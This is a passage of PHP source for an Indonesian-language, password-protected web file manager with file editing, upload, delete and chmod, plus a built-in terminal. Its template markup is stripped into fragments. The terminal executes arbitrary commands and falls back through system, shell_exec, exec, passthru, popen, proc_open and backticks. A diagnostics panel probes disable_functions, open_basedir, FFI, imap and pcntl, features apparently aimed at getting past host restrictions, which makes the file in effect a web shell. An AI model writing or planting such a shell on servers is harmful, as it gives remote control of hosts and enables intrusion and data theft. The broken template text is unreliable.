$raw, 'input' => $input, 'root' => fm_root(), 'resolved' => null, 'kind' => 'relative', ); if ($input === '' || $input === '/') { return array('rel' => '', 'err' => null, 'info' => $info); } if (strpos($input, "\0") !== false) { return array('rel' => null, 'err' => 'Input mengandung byte null.', 'info' => $info); } $root = fm_root(); $rootSlash = $root . '/'; $inside = function ($path) use ($root, $rootSlash) { return $path === $root || strpos($path . '/', $rootSlash) === 0; }; $rel_of = function ($path) use ($root, $rootSlash) { return ($path === $root) ? '' : substr($path, strlen($rootSlash)); }; if ($input[0] === '/') { $info['kind'] = 'absolute'; $real = @realpath($input); if ($real !== false) { $info['resolved'] = $real; if ($inside($real)) { return array('rel' => $rel_of($real), 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Path %s → resolve %s, di luar root %s.', $input, $real, $root), 'info' => $info); } if ($input === $root) { return array('rel' => '', 'err' => null, 'info' => $info); } if (strpos($input, $rootSlash) === 0) { $rel = substr($input, strlen($rootSlash)); $info['resolved'] = $root . '/' . $rel; return array('rel' => $rel, 'err' => null, 'info' => $info); } $try = ltrim($input, '/'); $tryAbs = $rootSlash . $try; if (is_dir($tryAbs) || is_file($tryAbs)) { $info['kind'] = 'absolute-fallback-relatif'; $info['resolved'] = $tryAbs; return array('rel' => $try, 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Path %s tidak ada dan tidak di bawah root %s.', $input, $root), 'info' => $info); } $rel = trim($input, '/'); $full = $rootSlash . $rel; $real = @realpath($full); if ($real !== false) { $info['resolved'] = $real; if ($inside($real)) { return array('rel' => $rel_of($real), 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Relatif %s → resolve %s, di luar root.', $input, $real), 'info' => $info); } $info['resolved'] = $full; return array('rel' => $rel, 'err' => null, 'info' => $info); } function fm_rel($abs) { $root = fm_root(); if ($abs === $root) return ''; return ltrim(substr($abs, strlen($root)), '/'); } function fm_url($params = array()) { $q = $_GET; foreach ($params as $k => $v) $q[$k] = $v; return '?' . http_build_query($q); } function fm_size($bytes) { $u = array('B','KB','MB','GB','TB'); $i = 0; while ($bytes >= 1024 && $i < count($u) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $u[$i]; } function fm_csrf() { if (empty($_SESSION['fm_csrf'])) $_SESSION['fm_csrf'] = bin2hex(random_bytes(16)); return $_SESSION['fm_csrf']; } function fm_check_csrf() { if (!hash_equals(fm_csrf(), $_POST['csrf'] ?? '')) { http_response_code(400); exit('Invalid CSRF token'); } } function fm_flash($msg, $type = 'ok') { $_SESSION['fm_flash'] = array('m' => $msg, 't' => $type); } function fm_take_flash() { if (empty($_SESSION['fm_flash'])) return null; $f = $_SESSION['fm_flash']; unset($_SESSION['fm_flash']); return $f; } function fm_rmdir_recursive($dir) { $ok = true; $items = @scandir($dir); if ($items === false) return false; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $p = $dir . '/' . $it; if (is_dir($p) && !is_link($p)) $ok = $ok && fm_rmdir_recursive($p); else $ok = $ok && @unlink($p); } return $ok && @rmdir($dir); } /* ------------------------- TERMINAL: EXEC CHAIN ------------------------- */ function fm_exec($cmd) { $cmd = (string)$cmd; if (trim($cmd) === '') { return array('out' => '', 'err' => 'Command kosong.', 'fn' => ''); } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1', $ret); return array('out' => ob_get_clean(), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'system'); } if (function_exists('shell_exec')) { return array('out' => (string)@shell_exec($cmd . ' 2>&1'), 'err' => '', 'fn' => 'shell_exec'); } if (function_exists('exec')) { $lines = array(); @exec($cmd . ' 2>&1', $lines, $ret); return array('out' => implode("\n", $lines), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'exec'); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1', $ret); return array('out' => ob_get_clean(), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'passthru'); } if (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $out = ''; while (!feof($h)) $out .= fread($h, 8192); pclose($h); return array('out' => $out, 'err' => '', 'fn' => 'popen'); } } if (function_exists('proc_open')) { $desc = array(1 => array('pipe','w'), 2 => array('pipe','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); return array('out' => $out, 'err' => $err, 'fn' => 'proc_open'); } } if (function_exists('shell_exec')) { return array('out' => (string)@`$cmd 2>&1`, 'err' => '', 'fn' => 'backtick'); } return array('out' => '', 'err' => 'Semua fungsi eksekusi diblokir.', 'fn' => 'none'); } function fm_sysinfo() { $disabled = ini_get('disable_functions'); $check = array('system','shell_exec','exec','passthru','popen','proc_open','pcntl_exec','putenv','mail','dl','imap_open','curl_exec','file_get_contents','file_put_contents','scandir','glob'); $funcs = array(); foreach ($check as $f) $funcs[$f] = function_exists($f); return array( 'php_version' => PHP_VERSION, 'os' => PHP_OS, 'user' => function_exists('get_current_user') ? @get_current_user() : '?', 'cwd' => function_exists('getcwd') ? @getcwd() : '?', 'disable_functions' => $disabled ?: '(none)', 'open_basedir' => ini_get('open_basedir') ?: '(none)', 'safe_mode' => ini_get('safe_mode') ?: 'Off', 'ffi_enabled' => extension_loaded('FFI'), 'imap_loaded' => extension_loaded('imap'), 'pcntl_loaded' => extension_loaded('pcntl'), 'funcs' => $funcs, ); } /* ------------------------- AUTH ------------------------- */ if (isset($_GET['logout'])) { $_SESSION = array(); session_destroy(); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (!isset($_SESSION['fm_ok'])) { $err = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['u'], $_POST['p'])) { if ($_POST['u'] === FM_USER && hash_equals(FM_PASS, $_POST['p'])) { session_regenerate_id(true); $_SESSION['fm_ok'] = true; header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } $err = 'Username / password salah.'; } ?> <?=h(FM_TITLE)?> — Login

'Navigasi ditolak: ' . $resolve['err'], 't' => 'err'); $dirRel = ''; } $dirAbs = fm_safe_path($dirRel); if ($dirAbs === null) { $dirAbs = fm_root(); $dirRel = ''; } if (!is_dir($dirAbs)) { if (is_file($dirAbs)) { header('Location: ' . fm_url(array('a' => 'edit', 'f' => fm_rel($dirAbs)))); exit; } if ($dirRel !== '') { $flash = array('m' => 'Direktori tidak ditemukan: ' . $dirRel, 't' => 'err'); } $dirAbs = fm_root(); $dirRel = ''; } $rel = fm_rel($dirAbs); $parentRel = $rel === '' ? null : (dirname($rel) === '.' ? '' : dirname($rel)); /* ---------- DOWNLOAD ---------- */ if ($action === 'download') { $file = fm_safe_path($_GET['f'] ?? ''); if ($file && is_file($file) && is_readable($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } http_response_code(404); exit('File tidak ditemukan.'); } /* ---------- POST ACTIONS ---------- */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { fm_check_csrf(); $act = $_POST['act'] ?? ''; try { if ($act === 'mkdir') { $name = trim($_POST['name'] ?? ''); if ($name === '' || preg_match('#[\\\\/]|^\.\.?$#', $name)) throw new Exception('Nama folder tidak valid.'); $target = fm_safe_path($rel ? $rel . '/' . $name : $name); if (!$target) throw new Exception('Path ditolak.'); if (!@mkdir($target, 0755)) throw new Exception('Gagal membuat folder.'); fm_flash('Folder dibuat: ' . $name); } elseif ($act === 'write') { $file = fm_safe_path($_POST['file'] ?? ''); if (!$file || !is_file($file)) throw new Exception('File tidak valid.'); if (!is_writable($file)) throw new Exception('File tidak writable.'); if (file_put_contents($file, $_POST['content'] ?? '', LOCK_EX) === false) throw new Exception('Gagal menyimpan.'); fm_flash('File disimpan: ' . basename($file)); } elseif ($act === 'upload') { if (empty($_FILES['file']['name'])) throw new Exception('Tidak ada file.'); $f = $_FILES['file']; if ($f['error'] !== UPLOAD_ERR_OK) throw new Exception('Upload error: ' . $f['error']); if ($f['size'] > FM_MAX_UPLOAD) throw new Exception('File terlalu besar.'); $name = basename($f['name']); if ($name === '' || $name === '.' || $name === '..') throw new Exception('Nama file tidak valid.'); $target = fm_safe_path($rel ? $rel . '/' . $name : $name); if (!$target) throw new Exception('Path ditolak.'); if (!@move_uploaded_file($f['tmp_name'], $target)) throw new Exception('Gagal memindahkan file.'); fm_flash('File di-upload: ' . $name); } elseif ($act === 'delete') { $file = fm_safe_path($_POST['file'] ?? ''); if (!$file) throw new Exception('Path tidak valid.'); if ($file === fm_root()) throw new Exception('Tidak boleh menghapus root.'); if (is_dir($file)) { if (!fm_rmdir_recursive($file)) throw new Exception('Gagal hapus folder.'); fm_flash('Folder dihapus.'); } elseif (is_file($file)) { if (!@unlink($file)) throw new Exception('Gagal hapus file.'); fm_flash('File dihapus.'); } else throw new Exception('Target tidak ditemukan.'); } elseif ($act === 'rename') { $file = fm_safe_path($_POST['file'] ?? ''); $new = trim($_POST['newname'] ?? ''); if (!$file || !file_exists($file)) throw new Exception('Target tidak valid.'); if ($new === '' || preg_match('#[\\\\/]#', $new)) throw new Exception('Nama baru tidak valid.'); $parent = dirname($file); if ($parent !== fm_root() && strpos($parent . '/', fm_root() . '/') !== 0) throw new Exception('Path ditolak.'); $target = $parent . '/' . $new; if (file_exists($target)) throw new Exception('Nama sudah dipakai.'); if (!@rename($file, $target)) throw new Exception('Gagal rename.'); fm_flash('Berhasil rename ke: ' . $new); } elseif ($act === 'chmod') { $file = fm_safe_path($_POST['file'] ?? ''); $mode = $_POST['mode'] ?? ''; if (!$file || !file_exists($file)) throw new Exception('Target tidak valid.'); if (!preg_match('/^[0-7]{3,4}$/', $mode)) throw new Exception('Mode tidak valid.'); if (!@chmod($file, octdec($mode))) throw new Exception('Gagal chmod.'); fm_flash('Permission diubah ke ' . $mode); } elseif ($act === 'exec') { if (!FM_TERM_ENABLE) throw new Exception('Terminal dinonaktifkan.'); $cmd = trim((string)($_POST['cmd'] ?? '')); if ($cmd === '') throw new Exception('Command kosong.'); $res = fm_exec($cmd); if (!isset($_SESSION['fm_hist'])) $_SESSION['fm_hist'] = array(); $_SESSION['fm_hist'][] = array('cmd' => $cmd, 'out' => $res['out'], 'err' => $res['err'], 'fn' => $res['fn'], 'ts' => time()); if (count($_SESSION['fm_hist']) > FM_TERM_HISTORY) $_SESSION['fm_hist'] = array_slice($_SESSION['fm_hist'], -FM_TERM_HISTORY); fm_flash('Executed via ' . $res['fn'] . ': ' . $cmd); } elseif ($act === 'clearhist') { unset($_SESSION['fm_hist']); fm_flash('History cleared.'); } else throw new Exception('Aksi tidak dikenal.'); } catch (Exception $e) { fm_flash($e->getMessage(), 'err'); } // FIX UTAMA: Cek $act, bukan $action, agar tidak terlempar ke file manager $redirect = ($act === 'exec' || $act === 'clearhist') ? 'terminal' : 'list'; header('Location: ' . fm_url(array('d' => $rel, 'a' => $redirect))); exit; } /* ---------- VIEW: TERMINAL ---------- */ if ($action === 'terminal') { if (!FM_TERM_ENABLE) { http_response_code(403); exit('Terminal dinonaktifkan.'); } $hist = $_SESSION['fm_hist'] ?? array(); $sys = fm_sysinfo(); ?> Terminal — <?=h(FM_TITLE)?>

⌨ Terminal

📁 File Manager Logout

Diagnostics

PHP
OS
User
CWD
disable_functions
open_basedir
safe_mode
FFI / imap / pcntl
$on): ?>
Belum ada perintah. Ketik di bawah.
⚠
via ·
2 * 1024 * 1024) { http_response_code(413); exit('File terlalu besar (>2 MB).'); } $content = file_get_contents($file); if (strpos($content, "\0") !== false) { http_response_code(415); exit('File biner tidak bisa diedit.'); } $dirOfFile = fm_rel(dirname($file)); ?> Edit — <?=h(basename($file))?>
← Kembali
·
<?=h(FM_TITLE)?> — /<?=h($rel)?>

⌨ Terminal Logout
📍 Lokasi: /
Nama Ukuran Diubah Aksi
📁 ..
Folder kosong.
📁 —
📄
Edit Download

Root: · Permissions: